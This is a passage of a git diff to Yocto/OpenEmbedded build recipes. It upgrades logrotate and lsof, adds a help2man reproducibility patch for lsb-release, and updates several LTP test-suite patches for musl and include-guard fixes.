-SUMMARY = "Rotates, compresses, removes and mails system log files"
-SECTION = "console/utils"
-HOMEPAGE = "https://github.com/logrotate/logrotate/issues"
-LICENSE = "GPLv2"
-
-# TODO: Document coreutils dependency. Why not RDEPENDS? Why not busybox?
-
-DEPENDS="coreutils popt"
-
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-
-UPSTREAM_CHECK_URI = "https://github.com/${BPN}/${BPN}/releases"
-UPSTREAM_CHECK_REGEX = "logrotate-(?P<pver>\d+(\.\d+)+).tar"
-
-SRC_URI = "https://github.com/${BPN}/${BPN}/releases/download/${PV}/${BP}.tar.xz \
- file://act-as-mv-when-rotate.patch \
- file://0001-Update-the-manual.patch \
- file://disable-check-different-filesystems.patch \
- "
-
-SRC_URI[sha256sum] = "58cc2178ff57faa3c0490181cce041345aeca6cff18dba1c5cd1398bf1c19294"
-
-PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'acl selinux', d)}"
-
-PACKAGECONFIG[acl] = ",,acl"
-PACKAGECONFIG[selinux] = ",,libselinux"
-
-CONFFILES_${PN} += "${localstatedir}/lib/logrotate.status \
- ${sysconfdir}/logrotate.conf \
- ${sysconfdir}/logrotate.d/btmp \
- ${sysconfdir}/logrotate.d/wtmp"
-
-# If RPM_OPT_FLAGS is unset, it adds -g itself rather than obeying our
-# optimization variables, so use it rather than EXTRA_CFLAGS.
-EXTRA_OEMAKE = "\
- LFS= \
- OS_NAME='${OS_NAME}' \
- 'CC=${CC}' \
- 'RPM_OPT_FLAGS=${CFLAGS}' \
- 'EXTRA_LDFLAGS=${LDFLAGS}' \
- ${@bb.utils.contains('PACKAGECONFIG', 'acl', 'WITH_ACL=yes', '', d)} \
- ${@bb.utils.contains('PACKAGECONFIG', 'selinux', 'WITH_SELINUX=yes', '', d)} \
-"
-
-# OS_NAME in the makefile defaults to `uname -s`. The behavior for
-# freebsd/netbsd is questionable, so leave it as Linux, which only sets
-# INSTALL=install and BASEDIR=/usr.
-OS_NAME = "Linux"
-
-inherit autotools systemd
-
-SYSTEMD_SERVICE_${PN} = "\
- ${BPN}.service \
- ${BPN}.timer \
-"
-
-LOGROTATE_OPTIONS ?= ""
-
-LOGROTATE_SYSTEMD_TIMER_BASIS ?= "daily"
-LOGROTATE_SYSTEMD_TIMER_ACCURACY ?= "12h"
-LOGROTATE_SYSTEMD_TIMER_PERSISTENT ?= "true"
-
-do_install(){
- oe_runmake install DESTDIR=${D} PREFIX=${D} MANDIR=${mandir}
- mkdir -p ${D}${sysconfdir}/logrotate.d
- mkdir -p ${D}${localstatedir}/lib
- install -p -m 644 ${S}/examples/logrotate.conf ${D}${sysconfdir}/logrotate.conf
- install -p -m 644 ${S}/examples/btmp ${D}${sysconfdir}/logrotate.d/btmp
- install -p -m 644 ${S}/examples/wtmp ${D}${sysconfdir}/logrotate.d/wtmp
- touch ${D}${localstatedir}/lib/logrotate.status
-
- if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
- install -d ${D}${systemd_system_unitdir}
- install -m 0644 ${S}/examples/logrotate.service ${D}${systemd_system_unitdir}/logrotate.service
- install -m 0644 ${S}/examples/logrotate.timer ${D}${systemd_system_unitdir}/logrotate.timer
- [ -z "${LOGROTATE_OPTIONS}" ] ||
- sed -ri \
- -e 's|(ExecStart=.*/logrotate.*)$|\1 ${LOGROTATE_OPTIONS}|g' \
- ${D}${systemd_system_unitdir}/logrotate.service
- sed -ri \
- -e 's|(OnCalendar=).*$|\1${LOGROTATE_SYSTEMD_TIMER_BASIS}|g' \
- -e 's|(AccuracySec=).*$|\1${LOGROTATE_SYSTEMD_TIMER_ACCURACY}|g' \
- -e 's|(Persistent=).*$|\1${LOGROTATE_SYSTEMD_TIMER_PERSISTENT}|g' \
- ${D}${systemd_system_unitdir}/logrotate.timer
- fi
-
- if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
- mkdir -p ${D}${sysconfdir}/cron.daily
- install -p -m 0755 ${S}/examples/logrotate.cron ${D}${sysconfdir}/cron.daily/logrotate
- fi
-}
diff --git a/meta/recipes-extended/logrotate/logrotate_3.18.1.bb b/meta/recipes-extended/logrotate/logrotate_3.18.1.bb
new file mode 100644
index 0000000000..bca47872c5
--- /dev/null
+++ b/meta/recipes-extended/logrotate/logrotate_3.18.1.bb
@@ -0,0 +1,95 @@
+SUMMARY = "Rotates, compresses, removes and mails system log files"
+SECTION = "console/utils"
+HOMEPAGE = "https://github.com/logrotate/logrotate/"
+DESCRIPTION = "The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files."
+LICENSE = "GPLv2"
+
+# TODO: Document coreutils dependency. Why not RDEPENDS? Why not busybox?
+
+DEPENDS="coreutils popt"
+
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+
+UPSTREAM_CHECK_URI = "https://github.com/${BPN}/${BPN}/releases"
+UPSTREAM_CHECK_REGEX = "logrotate-(?P<pver>\d+(\.\d+)+).tar"
+
+SRC_URI = "https://github.com/${BPN}/${BPN}/releases/download/${PV}/${BP}.tar.xz \
+ file://act-as-mv-when-rotate.patch \
+ file://0001-Update-the-manual.patch \
+ file://disable-check-different-filesystems.patch \
+ "
+
+SRC_URI[sha256sum] = "14a924e4804b3974e85019a9f9352c2a69726702e6656155c48bcdeace68a5dc"
+
+# These CVEs are debian, gentoo or SUSE specific on the way logrotate was installed/used
+CVE_CHECK_WHITELIST += "CVE-2011-1548 CVE-2011-1549 CVE-2011-1550"
+
+PACKAGECONFIG ?= "${@bb.utils.filter('DISTRO_FEATURES', 'acl selinux', d)}"
+
+PACKAGECONFIG[acl] = ",,acl"
+PACKAGECONFIG[selinux] = ",,libselinux"
+
+CONFFILES:${PN} += "${localstatedir}/lib/logrotate.status \
+ ${sysconfdir}/logrotate.conf \
+ ${sysconfdir}/logrotate.d/btmp \
+ ${sysconfdir}/logrotate.d/wtmp"
+
+# If RPM_OPT_FLAGS is unset, it adds -g itself rather than obeying our
+# optimization variables, so use it rather than EXTRA_CFLAGS.
+EXTRA_OEMAKE = "\
+ LFS= \
+ OS_NAME='${OS_NAME}' \
+ 'CC=${CC}' \
+ 'RPM_OPT_FLAGS=${CFLAGS}' \
+ 'EXTRA_LDFLAGS=${LDFLAGS}' \
+ ${@bb.utils.contains('PACKAGECONFIG', 'acl', 'WITH_ACL=yes', '', d)} \
+ ${@bb.utils.contains('PACKAGECONFIG', 'selinux', 'WITH_SELINUX=yes', '', d)} \
+"
+
+# OS_NAME in the makefile defaults to `uname -s`. The behavior for
+# freebsd/netbsd is questionable, so leave it as Linux, which only sets
+# INSTALL=install and BASEDIR=/usr.
+OS_NAME = "Linux"
+
+inherit autotools systemd
+
+SYSTEMD_SERVICE:${PN} = "\
+ ${BPN}.service \
+ ${BPN}.timer \
+"
+
+LOGROTATE_OPTIONS ?= ""
+
+LOGROTATE_SYSTEMD_TIMER_BASIS ?= "daily"
+LOGROTATE_SYSTEMD_TIMER_ACCURACY ?= "12h"
+LOGROTATE_SYSTEMD_TIMER_PERSISTENT ?= "true"
+
+do_install(){
+ oe_runmake install DESTDIR=${D} PREFIX=${D} MANDIR=${mandir}
+ mkdir -p ${D}${sysconfdir}/logrotate.d
+ mkdir -p ${D}${localstatedir}/lib
+ install -p -m 644 ${S}/examples/logrotate.conf ${D}${sysconfdir}/logrotate.conf
+ install -p -m 644 ${S}/examples/btmp ${D}${sysconfdir}/logrotate.d/btmp
+ install -p -m 644 ${S}/examples/wtmp ${D}${sysconfdir}/logrotate.d/wtmp
+ touch ${D}${localstatedir}/lib/logrotate.status
+
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'true', 'false', d)}; then
+ install -d ${D}${systemd_system_unitdir}
+ install -m 0644 ${S}/examples/logrotate.service ${D}${systemd_system_unitdir}/logrotate.service
+ install -m 0644 ${S}/examples/logrotate.timer ${D}${systemd_system_unitdir}/logrotate.timer
+ [ -z "${LOGROTATE_OPTIONS}" ] ||
+ sed -ri \
+ -e 's|(ExecStart=.*/logrotate.*)$|\1 ${LOGROTATE_OPTIONS}|g' \
+ ${D}${systemd_system_unitdir}/logrotate.service
+ sed -ri \
+ -e 's|(OnCalendar=).*$|\1${LOGROTATE_SYSTEMD_TIMER_BASIS}|g' \
+ -e 's|(AccuracySec=).*$|\1${LOGROTATE_SYSTEMD_TIMER_ACCURACY}|g' \
+ -e 's|(Persistent=).*$|\1${LOGROTATE_SYSTEMD_TIMER_PERSISTENT}|g' \
+ ${D}${systemd_system_unitdir}/logrotate.timer
+ fi
+
+ if ${@bb.utils.contains('DISTRO_FEATURES', 'sysvinit', 'true', 'false', d)}; then
+ mkdir -p ${D}${sysconfdir}/cron.daily
+ install -p -m 0755 ${S}/examples/logrotate.cron ${D}${sysconfdir}/cron.daily/logrotate
+ fi
+}
diff --git a/meta/recipes-extended/lsb/lsb-release/help2man-reproducibility.patch b/meta/recipes-extended/lsb/lsb-release/help2man-reproducibility.patch
new file mode 100644
index 0000000000..f32cd18370
--- /dev/null
+++ b/meta/recipes-extended/lsb/lsb-release/help2man-reproducibility.patch
@@ -0,0 +1,27 @@
+lsb-release maintains it's own copy of help2man. Include the support
+for specifying SOURCE_DATE_EPOCH from upstream.
+
+Upstream-Status: Pending
+
+Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
+
+diff --git a/help2man b/help2man
+index 13015c2..63439db 100755
+--- a/help2man
++++ b/help2man
+@@ -173,7 +173,14 @@ my ($help_text, $version_text) = map {
+ or die "$this_program: can't get `--$_' info from $ARGV[0]\n"
+ } qw(help), $opt_version_key;
+
+-my $date = strftime "%B %Y", localtime;
++my $epoch_secs = time;
++if (exists $ENV{SOURCE_DATE_EPOCH} and $ENV{SOURCE_DATE_EPOCH} =~ /^(\d+)$/)
++{
++ $epoch_secs = $1;
++ $ENV{TZ} = 'UTC0';
++}
++
++my $date = strftime "%B %Y", localtime $epoch_secs;
+ (my $program = $ARGV[0]) =~ s!.*/!!;
+ my $package = $program;
+ my $version;
diff --git a/meta/recipes-extended/lsb/lsb-release_1.4.bb b/meta/recipes-extended/lsb/lsb-release_1.4.bb
index 3e8f7a13ec..a3bcaf51c3 100644
--- a/meta/recipes-extended/lsb/lsb-release_1.4.bb
+++ b/meta/recipes-extended/lsb/lsb-release_1.4.bb
@@ -4,13 +4,14 @@ HOMEPAGE = "https://sourceforge.net/projects/lsb/files"
LICENSE = "GPLv2+"
# lsb_release needs getopt
-RDEPENDS_${PN} += "${VIRTUAL-RUNTIME_getopt}"
+RDEPENDS:${PN} += "${VIRTUAL-RUNTIME_getopt}"
LIC_FILES_CHKSUM = "file://README;md5=12da544b1a3a5a1795a21160b49471cf"
SRC_URI = "${SOURCEFORGE_MIRROR}/project/lsb/lsb_release/1.4/lsb-release-1.4.tar.gz \
file://0001-fix-lsb_release-to-work-with-busybox-head-and-find.patch \
file://0001-Remove-timestamp-from-manpage.patch \
+ file://help2man-reproducibility.patch \
"
SRC_URI[md5sum] = "30537ef5a01e0ca94b7b8eb6a36bb1e4"
@@ -34,4 +35,4 @@ do_install() {
echo "DISTRIB_DESCRIPTION=\"${DISTRO_NAME} ${DISTRO_VERSION}\"" >> ${D}${sysconfdir}/lsb-release
}
-FILES_${PN} += "${base_libdir}"
+FILES:${PN} += "${base_libdir}"
diff --git a/meta/recipes-extended/lsof/files/lsof-remove-host-information.patch b/meta/recipes-extended/lsof/files/lsof-remove-host-information.patch
index b7d2323dc9..70155f9a1d 100644
--- a/meta/recipes-extended/lsof/files/lsof-remove-host-information.patch
+++ b/meta/recipes-extended/lsof/files/lsof-remove-host-information.patch
@@ -1,25 +1,29 @@
-Remove host information from version.h
+From 95b8a13c1ea4274f58304bf5c4f7ca3d036b10f3 Mon Sep 17 00:00:00 2001
+From: Li Wang <li.wang@windriver.com>
+Date: Wed, 30 Aug 2017 15:05:16 +0800
+Subject: [PATCH] Remove host information from version.h
make lsof not include host information
Upstream-Status: Inappropriate [embedded specific]
Signed-off-by: Li Wang <li.wang@windriver.com>
+
---
- dialects/linux/Makefile | 50 +++++++++--------------------------------------
+ dialects/linux/Makefile | 50 ++++++++---------------------------------
1 file changed, 9 insertions(+), 41 deletions(-)
diff --git a/dialects/linux/Makefile b/dialects/linux/Makefile
-index 2bea108..792142b 100644
+index 61e8643..5458a0a 100644
--- a/dialects/linux/Makefile
+++ b/dialects/linux/Makefile
-@@ -76,48 +76,16 @@ version.h: FRC
+@@ -95,48 +95,16 @@ version.h: FRC
@echo Constructing version.h
@rm -f version.h
@echo '#define LSOF_BLDCMT "${LSOF_BLDCMT}"' > version.h;
- @echo '#define LSOF_CC "${CC}"' >> version.h
- @echo '#define LSOF_CCV "${CCV}"' >> version.h
-- @echo '#define LSOF_CCDATE "'`date`'"' >> version.h
+- @echo '#define LSOF_CCDATE "$(BUILD_DATE)"' >> version.h
- @echo '#define LSOF_CCFLAGS "'`echo ${CFLAGS} | sed 's/\\\\(/\\(/g' | sed 's/\\\\)/\\)/g' | sed 's/"/\\\\"/g'`'"' >> version.h
+ @echo '#define LSOF_CC ""' >> version.h
+ @echo '#define LSOF_CCV ""' >> version.h
@@ -71,6 +75,3 @@ index 2bea108..792142b 100644
@sed '/VN/s/.ds VN \(.*\)/#define LSOF_VERSION "\1"/' < version >> version.h
FRC:
---
-1.7.9.5
-
diff --git a/meta/recipes-extended/lsof/lsof_4.91.bb b/meta/recipes-extended/lsof/lsof_4.91.bb
deleted file mode 100644
index b3adfd57af..0000000000
--- a/meta/recipes-extended/lsof/lsof_4.91.bb
+++ /dev/null
@@ -1,63 +0,0 @@
-SUMMARY = "LiSt Open Files tool"
-DESCRIPTION = "Lsof is a Unix-specific diagnostic tool. \
-Its name stands for LiSt Open Files, and it does just that."
-HOMEPAGE = "http://people.freebsd.org/~abe/"
-SECTION = "devel"
-LICENSE = "BSD"
-LIC_FILES_CHKSUM = "file://00README;beginline=645;endline=679;md5=964df275d26429ba3b39dbb9f205172a"
-
-# Upstream lsof releases are hosted on an ftp server which times out download
-# attempts from hosts for which it can not perform a DNS reverse-lookup (See:
-# https://people.freebsd.org/~abe/ ). http://www.mirrorservice.org seems to be
-# the most commonly used alternative.
-
-SRC_URI = "http://www.mirrorservice.org/sites/lsof.itap.purdue.edu/pub/tools/unix/lsof/lsof_${PV}.tar.bz2 \
- file://lsof-remove-host-information.patch \
- "
-
-SRC_URI[md5sum] = "148ed410cb52e08c2adc0c60f480f11f"
-SRC_URI[sha256sum] = "c9da946a525fbf82ff80090b6d1879c38df090556f3fe0e6d782cb44172450a3"
-
-LOCALSRC = "file://${WORKDIR}/lsof_${PV}/lsof_${PV}_src.tar"
-
-S = "${WORKDIR}/lsof_${PV}_src"
-
-python do_unpack () {
- if not bb.data.inherits_class('externalsrc', d) or not d.getVar('EXTERNALSRC'):
- # temporarily change S for unpack of lsof_${PV}
- s = d.getVar('S', False)
- d.setVar('S', '${WORKDIR}/lsof_${PV}')
- bb.build.exec_func('base_do_unpack', d)
- # temporarily change SRC_URI for unpack of lsof_${PV}_src
- src_uri = d.getVar('SRC_URI', False)
- d.setVar('SRC_URI', '${LOCALSRC}')
- d.setVar('S', s)
- bb.build.exec_func('base_do_unpack', d)
- d.setVar('SRC_URI', src_uri)
-}
-
-export LSOF_INCLUDE = "${STAGING_INCDIR}"
-
-do_configure () {
- export LSOF_AR="${AR} cr"
- export LSOF_RANLIB="${RANLIB}"
- if [ "x${GLIBCVERSION}" != "x" ]; then
- LINUX_CLIB=`echo ${GLIBCVERSION} |sed -e 's,\.,,g'`
- LINUX_CLIB="-DGLIBCV=${LINUX_CLIB}"
- export LINUX_CLIB
- fi
- yes | ./Configure linux
-}
-
-export I = "${STAGING_INCDIR}"
-export L = "${STAGING_INCDIR}"
-
-do_compile () {
- oe_runmake 'CC=${CC}' 'CFGL=${LDFLAGS} -L./lib -llsof' 'DEBUG=' 'INCL=${CFLAGS}'
-}
-
-do_install () {
- install -d ${D}${sbindir} ${D}${mandir}/man8
- install -m 0755 lsof ${D}${sbindir}/lsof
- install -m 0644 lsof.8 ${D}${mandir}/man8/lsof.8
-}
diff --git a/meta/recipes-extended/lsof/lsof_4.94.0.bb b/meta/recipes-extended/lsof/lsof_4.94.0.bb
new file mode 100644
index 0000000000..c2b8bc839b
--- /dev/null
+++ b/meta/recipes-extended/lsof/lsof_4.94.0.bb
@@ -0,0 +1,46 @@
+SUMMARY = "LiSt Open Files tool"
+DESCRIPTION = "Lsof is a Unix-specific diagnostic tool. \
+Its name stands for LiSt Open Files, and it does just that."
+HOMEPAGE = "http://people.freebsd.org/~abe/"
+SECTION = "devel"
+LICENSE = "Spencer-94"
+LIC_FILES_CHKSUM = "file://00README;beginline=645;endline=679;md5=964df275d26429ba3b39dbb9f205172a"
+
+# Upstream lsof releases are hosted on an ftp server which times out download
+# attempts from hosts for which it can not perform a DNS reverse-lookup (See:
+# https://people.freebsd.org/~abe/ ). http://www.mirrorservice.org seems to be
+# the most commonly used alternative.
+
+SRC_URI = "git://github.com/lsof-org/lsof;branch=master;protocol=https \
+ file://lsof-remove-host-information.patch \
+ "
+
+SRCREV = "005e014e1abdadb2493d8b3ce87b37a2c0a2351d"
+
+S = "${WORKDIR}/git"
+
+export LSOF_INCLUDE = "${STAGING_INCDIR}"
+
+do_configure () {
+ export LSOF_AR="${AR} cr"
+ export LSOF_RANLIB="${RANLIB}"
+ if [ "x${GLIBCVERSION}" != "x" ]; then
+ LINUX_CLIB=`echo ${GLIBCVERSION} |sed -e 's,\.,,g'`
+ LINUX_CLIB="-DGLIBCV=${LINUX_CLIB}"
+ export LINUX_CLIB
+ fi
+ yes | ./Configure linux
+}
+
+export I = "${STAGING_INCDIR}"
+export L = "${STAGING_INCDIR}"
+
+do_compile () {
+ oe_runmake 'CC=${CC}' 'CFGL=${LDFLAGS} -L./lib -llsof' 'DEBUG=' 'INCL=${CFLAGS}'
+}
+
+do_install () {
+ install -d ${D}${sbindir} ${D}${mandir}/man8
+ install -m 0755 lsof ${D}${sbindir}/lsof
+ install -m 0644 Lsof.8 ${D}${mandir}/man8/lsof.8
+}
diff --git a/meta/recipes-extended/ltp/ltp/0001-Add-more-musl-exclusions.patch b/meta/recipes-extended/ltp/ltp/0001-Add-more-musl-exclusions.patch
deleted file mode 100644
index f2fc8ee958..0000000000
--- a/meta/recipes-extended/ltp/ltp/0001-Add-more-musl-exclusions.patch
+++ /dev/null
@@ -1,32 +0,0 @@
-From ad8e73306cb8293f7d32841e1599fd9048801f1f Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Fri, 20 Dec 2019 13:06:05 +0100
-Subject: [PATCH] Add more musl exclusions
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-[ pvorel: rebase for 20200515: enable accept4_01 ]
-[ pvorel: rebase for 20200120: enable fanotify13, fanotify15, setxattr03 ]
-Signed-off-by: Petr Vorel <petr.vorel@gmail.com>
----
- testcases/kernel/syscalls/timer_create/Makefile | 4 ++++
- 1 file changed, 4 insertions(+)
-
-diff --git a/testcases/kernel/syscalls/timer_create/Makefile b/testcases/kernel/syscalls/timer_create/Makefile
-index ada241fe1..d454b01e7 100644
---- a/testcases/kernel/syscalls/timer_create/Makefile
-+++ b/testcases/kernel/syscalls/timer_create/Makefile
-@@ -5,6 +5,10 @@ top_srcdir ?= ../../../..
-
- include $(top_srcdir)/include/mk/testcases.mk
-
-+ifeq ($(LIBC),musl)
-+FILTER_OUT_MAKE_TARGETS := timer_create01 timer_create03
-+endif
-+
- CPPFLAGS += -D_GNU_SOURCE -I$(abs_srcdir)/../include
-
- LDLIBS += -lpthread -lrt
---
-2.26.2
-
diff --git a/meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch b/meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch
index e51950f153..6d945700be 100644
--- a/meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch
+++ b/meta/recipes-extended/ltp/ltp/0001-Remove-OOM-tests-from-runtest-mm.patch
@@ -1,4 +1,4 @@
-From 93772c511d954d755cc9128c58ed8968a5af541b Mon Sep 17 00:00:00 2001
+From e87c2ad1e16cdbd62ba71b2ace3270503decaa56 Mon Sep 17 00:00:00 2001
From: "Mingde (Matthew) Zeng" <matthewzmd@gmail.com>
Date: Wed, 29 Jul 2020 08:47:09 -0400
Subject: [PATCH] Remove OOM tests from runtest/mm
@@ -7,16 +7,17 @@ Disable OOM tests, as they might cause oeqa ssh connection lost
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Mingde (Matthew) Zeng <matthew.zeng@windriver.com>
-
+[ pvorel: rebased for 20210927 ]
+Signed-off-by: Petr Vorel <petr.vorel@gmail.com>
---
runtest/mm | 6 ------
1 file changed, 6 deletions(-)
diff --git a/runtest/mm b/runtest/mm
-index 481d39691..cf207d10e 100644
+index 6537666a9..e5a091a5a 100644
--- a/runtest/mm
+++ b/runtest/mm
-@@ -74,12 +74,6 @@ ksm06_2 ksm06 -n 10000
+@@ -73,12 +73,6 @@ ksm06_2 ksm06 -n 8000
cpuset01 cpuset01
@@ -29,3 +30,6 @@ index 481d39691..cf207d10e 100644
swapping01 swapping01 -i 5
thp01 thp01 -I 120
+--
+2.33.0
+
diff --git a/meta/recipes-extended/ltp/ltp/0001-build-Add-option-to-select-libc-implementation.patch b/meta/recipes-extended/ltp/ltp/0001-build-Add-option-to-select-libc-implementation.patch
deleted file mode 100644
index 29b2bf7e41..0000000000
--- a/meta/recipes-extended/ltp/ltp/0001-build-Add-option-to-select-libc-implementation.patch
+++ /dev/null
@@ -1,81 +0,0 @@
-From 74958c3e341de713b596c8cfd35b2391d6c7bc09 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 7 Jan 2016 18:19:03 +0000
-Subject: [PATCH] build: Add option to select libc implementation
-
-There are more than glibc for C library implementation available on
-linux now a days, uclibc cloaked like glibc but musl e.g. is very
-different and does not implement all GNU extensions.
-
-Disable tests specifically not building _yet_ on musl based systems
-
-Upstream-Status: Pending (pvorel: this is not going to be fixed, instead
-each test needs to be fixed)
-
-rt_tgsigqueueinfo fails with:
-rt_tgsigqueueinfo01.c: In function 'sigusr1_handler':
-rt_tgsigqueueinfo01.c:42:22: error: 'siginfo_t' {aka 'struct <anonymous>'} has no member named '_sifields'; did you mean '__si_fields'?
- 42 | sigval_rcv = uinfo->_sifields._rt.SI_SIGVAL.sival_ptr;
- | ^~~~~~~~~
- | __si_fields
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-[ pvorel: rebase for 20200515: enable pty, ioctl ]
-[ pvorel: rebase for 20200120: enable mallopt, profil, rpc016,
-rt_sigsuspend, sbrk_mutex, setdomainname, sethostname, sigsuspend,
-testpi-3, testpi-5, testpi-6, ustat; move rt_tgsigqueueinfo
-from 0006-rt_tgsigqueueinfo-disable-test-on-musl.patch ]
-Signed-off-by: Petr Vorel <petr.vorel@gmail.com>
----
- Makefile | 5 +++++
- testcases/kernel/sched/Makefile | 4 +++-
- testcases/kernel/syscalls/Makefile | 4 ++++
- 3 files changed, 12 insertions(+), 1 deletion(-)
-
-diff --git a/Makefile b/Makefile
-index 768ca4606..e9d679a71 100644
---- a/Makefile
-+++ b/Makefile
-@@ -41,6 +41,11 @@ vpath %.mk $(top_srcdir)/mk:$(top_srcdir)/mk/include
- UCLINUX ?= 0
- export UCLINUX
-
-+# System C library implementation (glibc,uclibc,musl etc.)
-+# default to glibc if not set
-+LIBC ?= glibc
-+export LIBC
-+
- # CLEAN_TARGETS: Targets which exist solely in clean.
- # COMMON_TARGETS: Targets which exist in all, clean, and install.
- # INSTALL_TARGETS: Targets which exist in clean and install (contains
-diff --git a/testcases/kernel/sched/Makefile b/testcases/kernel/sched/Makefile
-index 6a57d79ee..74bb93370 100644
---- a/testcases/kernel/sched/Makefile
-+++ b/testcases/kernel/sched/Makefile
-@@ -23,5 +23,7 @@
- top_srcdir ?= ../../..
-
- include $(top_srcdir)/include/mk/env_pre.mk
--
-+ifeq ($(LIBC),musl)
-+ FILTER_OUT_DIRS += process_stress
-+endif
- include $(top_srcdir)/include/mk/generic_trunk_target.mk
-diff --git a/testcases/kernel/syscalls/Makefile b/testcases/kernel/syscalls/Makefile
-index c6dc8d9e7..aa50761ea 100644
---- a/testcases/kernel/syscalls/Makefile
-+++ b/testcases/kernel/syscalls/Makefile
-@@ -15,6 +15,10 @@ FILTER_OUT_DIRS += capget capset chmod chown clone fork getcontext llseek \
- mincore mprotect nftw profil remap_file_pages sbrk
- endif
-
-+ifeq ($(LIBC),musl)
-+FILTER_OUT_DIRS += confstr fmtmsg getcontext rt_tgsigqueueinfo
-+endif
-+
- ifeq ($(UCLIBC),1)
- FILTER_OUT_DIRS += profil
- endif
---
-2.26.2
-
diff --git a/meta/recipes-extended/ltp/ltp/0002-lib-fix-MemAvailable-parsing.patch b/meta/recipes-extended/ltp/ltp/0002-lib-fix-MemAvailable-parsing.patch
new file mode 100644
index 0000000000..1860b95ce9
--- /dev/null
+++ b/meta/recipes-extended/ltp/ltp/0002-lib-fix-MemAvailable-parsing.patch
@@ -0,0 +1,36 @@
+From 29a096fe2bd356f419bd8a8404d5b652c996b92f Mon Sep 17 00:00:00 2001
+From: Ralph Siemsen <ralph.siemsen@linaro.org>
+Date: Mon, 27 Sep 2021 22:18:50 -0400
+Subject: [PATCH] lib: fix MemAvailable parsing
+
+The amount of available memory was not being returned correctly, which
+resulted in tests being executed when they should have been skipped.
+
+Fixes: 8759f4 ("lib: adjust the tmpfs size according to .dev_min_size and MemAvailable")
+Signed-off-by: Ralph Siemsen <ralph.siemsen@linaro.org>
+Signed-off-by: Li Wang <liwang@redhat.com>
+Signed-off-by: Petr Vorel <petr.vorel@gmail.com>
+Upstream-Status: Backport [e42149e28 ("lib: fix MemAvailable parsing")]
+---
+ lib/tst_memutils.c | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/lib/tst_memutils.c b/lib/tst_memutils.c
+index ae1cad29b..a46de78f5 100644
+--- a/lib/tst_memutils.c
++++ b/lib/tst_memutils.c
+@@ -65,9 +65,9 @@ void tst_pollute_memory(size_t maxsize, int fillchar)
+
+ long long tst_available_mem(void)
+ {
+- long long mem_available;
++ unsigned long long mem_available = 0;
+
+- if (FILE_LINES_SCANF("/proc/meminfo", "MemAvailable: %ld",
++ if (FILE_LINES_SCANF("/proc/meminfo", "MemAvailable: %llu",
+ &mem_available)) {
+ mem_available = SAFE_READ_MEMINFO("MemFree:")
+ + SAFE_READ_MEMINFO("Cached:");
+--
+2.33.0
+
diff --git a/meta/recipes-extended/ltp/ltp/0003-lapi-rtnetlink.h-Fix-include-guards.patch b/meta/recipes-extended/ltp/ltp/0003-lapi-rtnetlink.h-Fix-include-guards.patch
new file mode 100644
index 0000000000..6fcafaff1c
--- /dev/null
+++ b/meta/recipes-extended/ltp/ltp/0003-lapi-rtnetlink.h-Fix-include-guards.patch
@@ -0,0 +1,37 @@
+From 881709d1e4d1bba5bf8ca365bc058f338bd72dc2 Mon Sep 17 00:00:00 2001
+From: Petr Vorel <petr.vorel@gmail.com>
+Date: Wed, 29 Sep 2021 19:38:42 +0200
+Subject: [PATCH] lapi/rtnetlink.h: Fix include guards
+
+Fixes: 5fea0638a ("lapi: Add missing IFA_FLAGS")
+
+Signed-off-by: Petr Vorel <petr.vorel@gmail.com>
+Upstream-Status: Backport [a2a212cf8 ("lapi/rtnetlink.h: Fix include guards")]
+---
+ include/lapi/rtnetlink.h | 6 +++---
+ 1 file changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/include/lapi/rtnetlink.h b/include/lapi/rtnetlink.h
+index 8a1b5385b..04e9ad51a 100644
+--- a/include/lapi/rtnetlink.h
++++ b/include/lapi/rtnetlink.h
+@@ -1,8 +1,8 @@
+ // SPDX-License-Identifier: GPL-2.0-or-later
+ /* Copyright (c) 2021 Petr Vorel <petr.vorel@gmail.com> */
+
+-#ifndef LAPI_IF_ADDR_H__
+-# define LAPI_IF_ADDR_H__
++#ifndef LAPI_RTNETLINK_H__
++# define LAPI_RTNETLINK_H__
+
+ #include <linux/rtnetlink.h>
+
+@@ -10,4 +10,4 @@
+ # define IFA_FLAGS 8
+ #endif
+
+-#endif /* LAPI_IF_ADDR_H__ */
++#endif /* LAPI_RTNETLINK_H__ */
+--
+2.33.0
+
diff --git a/meta/recipes-extended/ltp/ltp/0004-lapi-Create-if_addr.h-and-reuse-it-in-rtnetlink.h.patch b/meta/recipes-extended/ltp/ltp/0004-lapi-Create-if_addr.h-and-reuse-it-in-rtnetlink.h.patch
new file mode 100644
index 0000000000..19ac3ba046
--- /dev/null
+++ b/meta/recipes-extended/ltp/ltp/0004-lapi-Create-if_addr.h-and-reuse-it-in-rtnetlink.h.patch
@@ -0,0 +1,58 @@
+From b13440627bd4a9f060a33d400a47a40daa2bc12e Mon Sep 17 00:00:00 2001
+From: Petr Vorel <petr.vorel@gmail.com>
+Date: Wed, 29 Sep 2021 19:37:19 +0200
+Subject: [PATCH] lapi: Create if_addr.h and reuse it in rtnetlink.h
+
+There will be fix in next commit for missing IFA_F_NOPREFIXROUTE which
+requires creating lapi/if_addr.h. Thus move IFA_FLAGS to lapi/if_addr.h,
+as it belongs there and reuse lapi/if_addr.h in lapi/rtnetlink.h just
+like <linux/rtnetlink.h> includes <linux/if_addr.h>.
+
+Signed-off-by: Petr Vorel <petr.vorel@gmail.com>
